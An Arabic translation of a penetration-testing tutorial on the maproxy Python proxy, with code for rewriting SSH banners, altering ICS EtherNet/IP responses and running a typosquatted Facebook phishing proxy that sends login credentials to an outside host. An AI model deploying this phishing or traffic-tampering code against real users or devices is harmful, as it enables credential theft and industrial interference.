معالجة بيانات الشبكة بسرعة

تم إعداد ترجمة للمقال قبل بداية عيد العنصرة. ممارسة اختبار الاختراق . "





حاشية. ملاحظة


مجموعة متنوعة من أنواع تقييم الأمان ، من اختبار الاختراق المنتظم وعمليات Red Team إلى اختراق أجهزة إنترنت الأشياء / ICS و SCADA ، تعني العمل مع بروتوكولات الشبكة الثنائية ، أي في الأساس اعتراض وتعديل بيانات الشبكة بين العميل والهدف. لا يعد التعرف على حركة مرور الشبكة مهمة صعبة ، نظرًا لأن لدينا أدوات مثل Wireshark أو Tcpdump أو Scapy ، ولكن يبدو أن التعديل يستغرق وقتًا أطول ، لأننا سنحتاج إلى واجهة فريدة لقراءة بيانات الشبكة ، وتصفيتها ، وتغييرها بسرعة ، وإرسالها مرة أخرى إلى المضيف المستهدف في الوقت الفعلي تقريبًا. بالإضافة إلى ذلك ، سيكون من المثالي إذا كانت هذه الأداة يمكن أن تعمل تلقائيًا مع العديد من الاتصالات المتوازية ولديها القدرة على التخصيص باستخدام البرامج النصية.

بمجرد أن اكتشفت أداة تسمى maproxy، تتيح لي الوثائق معرفة ذلك بسرعة maproxy- ما احتاجه. هذا هو وكيل إلى حد ما بسيطة ومتنوعة وسهلة لتكوين وكيل TCP. لقد اختبرت هذه الأداة على العديد من التطبيقات المعقدة إلى حد ما ، بما في ذلك أجهزة ICS (التي تنشئ العديد من الحزم) لمعرفة ما إذا كان يمكنها العمل مع العديد من الاتصالات المتوازية ، وأداء الأداة بشكل جيد.

ستعرفك هذه المقالة على معالجة بيانات الشبكة أثناء التنقل maproxy.

نظرة عامة


تعتمد الأداة maproxyعلى Tornado ، وهو إطار شبكة Python غير متزامن شائع ومتطور بشكل جيد.

بشكل عام ، يمكن أن تعمل في عدة أوضاع:

  • TCP:TCP - اتصالات TCP غير مشفرة ؛
  • TCP:SSLو SSL:TCP- مع التشفير في اتجاه واحد.
  • SSL:SSL - تشفير ثنائي الاتجاه.

يأتي كمكتبة. للبدء السريع ، يمكنك استخدام ملفات نموذجية تعكس الوظائف الرئيسية للمكتبة :

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

الحالة 1 - وكيل ثنائي الاتجاه بسيط


بناءً على tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

بشكل افتراضي ، ProxyServer()يستغرق الأمر وسيطتين - موقع الاتصال والمنفذ الوجهة. server.listen()يأخذ وسيطة واحدة - منفذ للاستماع إلى الاتصال الوارد.

تنفيذ البرنامج النصي:

# python tcp2tcp.py

من أجل إجراء الاختبار ، سنقوم بالاتصال بخادم SSH المحلي من خلال البرنامج النصي للوكيل الخاص بنا ، والذي يستمع على 2222/tcpالمنفذ ويتصل بمنفذ 22/tcpخادم SSH القياسي :



يخبرنا شعار الترحيب أن نموذج البرنامج النصي الخاص بنا قد نجح في نقل حركة مرور الشبكة بنجاح.

الحالة 2 - تعديل البيانات


يعد البرنامج النصي التجريبي الآخر logging_proxy.pyمثاليًا للتفاعل مع بيانات الشبكة. تصف التعليقات في الملف طرق الفصل التي يمكنك تعديلها لتحقيق هدفك:



الأكثر إثارة للاهتمام هنا:

  • on_c2p_done_read - اعتراض البيانات على الطريق من العميل إلى الخادم ؛
  • on_p2s_done_read - معكوس.

لنحاول تغيير شعار SSH الذي يعود إليه الخادم للعميل:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

تشغيل البرنامج النصي:



كما ترى ، تم تضليل العميل ، لأنه تم تغيير اسم خادم SSH إليه «DumnySSH».



الحالة 3 - صفحة ويب بسيطة للتصيد الاحتيالي


هناك عدد لا نهائي من الاستخدامات لهذه الأداة. هذه المرة ، دعنا نركز على شيء أكثر عملية من منطقة عمليات الفريق الأحمر. دعنا نقلد الهبوط m.facebook.com، ونستخدم المجال المخصص مع الخطأ المطبعي المقصود ، على سبيل المثال m.facebok.com. لأغراض العرض التوضيحي ، افترض ببساطة أن النطاق مسجل من قبلنا.

سنقوم بإنشاء اتصال شبكة غير مشفر مع وكيل الضحايا و SSL Stream لخادم Facebook ( 31.13.81.36). لكي يعمل هذا المثال ، نحتاج إلى استبدال رأس مضيف HTTP وتنفيذ اسم المضيف الصحيح ، وسنقوم أيضًا بتعطيل ضغط الاستجابة من أجل الوصول بسهولة إلى محتوياتها. في النهاية ، سنقوم باستبدال نموذج HTML بحيث يتم إرسال بيانات اعتماد تسجيل الدخول إلينا ، بدلاً من خوادم Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action=\"/login/", "action=\"https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

في النهاية:



كما ترون ، تمكنا من استبدال الموقع الأصلي بنجاح.

الحالة 4 - منفذ إيثرنت / IP


لقد كنت أتعامل مع الأجهزة والبرامج الصناعية (ICS / SCADA) لبعض الوقت ، مثل وحدات التحكم القابلة للبرمجة (PLC) ، ووحدات الإدخال / الإخراج ، ومحركات الأقراص ، والمرحلات ، وبيئات برمجة السلم ، وأكثر من ذلك بكثير. هذه القضية لمن يحب الاشياء الصناعية. ينطوي اختراق هذه الحلول على لعبة نشطة مع بروتوكولات الشبكة. في المثال التالي ، أود أن أبين كيف يمكنك تعديل حركة مرور الشبكة ICS / SCADA.

للقيام بذلك ، ستحتاج إلى ما يلي:

  • شم شبكة ، على سبيل المثال ، Wireshark ؛
  • Ethernet / IP أو جهاز SIP فقط ، يمكنك العثور عليه باستخدام خدمة Shodan ؛
  • يستند نصنا maproxy.

للبدء ، دعنا نرى كيف تبدو استجابة تعريف نموذجية لـ CIP (بروتوكول صناعي عام):



يتم تحديد الجهاز باستخدام Ethernet / IP ، وهو نسخة موسعة من Ethernet للتطبيقات الصناعية ، فإنه يلتف بروتوكولات التحكم مثل CIP. سنقوم بتغيير اسم التعريف المميز ، والذي يمكن رؤيته في لقطة شاشة "NI-IndComm for Ethernet" باستخدام البرنامج النصي للوكيل الخاص بنا. يمكننا إعادة استخدام البرنامج النصي logging_proxy.pyوتعديل طريقة الفصل بالمثل on_p2s_done_read، لأننا نريد أن يكون اسم تعريف مختلف مرئيًا على العميل.

الرمز:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'\x0c\x00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

في الواقع ، لقد طلبنا تحديد الجهاز مرتين ، والإجابة الثانية هي الأصل ، وتم تعديل الأول على الطاير.

وآخر


في رأيي ، أداة maproxyمريحة وبسيطة تمت كتابتها أيضًا في Python ، لذلك أعتقد أنه يمكنك أيضًا الاستفادة من استخدامها. بالطبع، هناك أدوات أكثر تطورا لمعالجة وشبكة البيانات المتغيرة، لكنها تتطلب أيضا مزيدا من الاهتمام، وعادة ما يتم إنشاؤها لحالة استخدام محددة، على سبيل المثال، Muraena ، Modlishka أو evilginx لحالات مماثلة لثالث، أو و canapé عن الحالة الأخيرة. بطريقة أو بأخرى ، وبمساعدة ذلك ، maproxyيمكنك إدراك أفكارك بسرعة لاعتراض بيانات الشبكة ، لأن عينات البرامج النصية واضحة للغاية.



اختبار آليات المصادقة في Windows AD



All Articles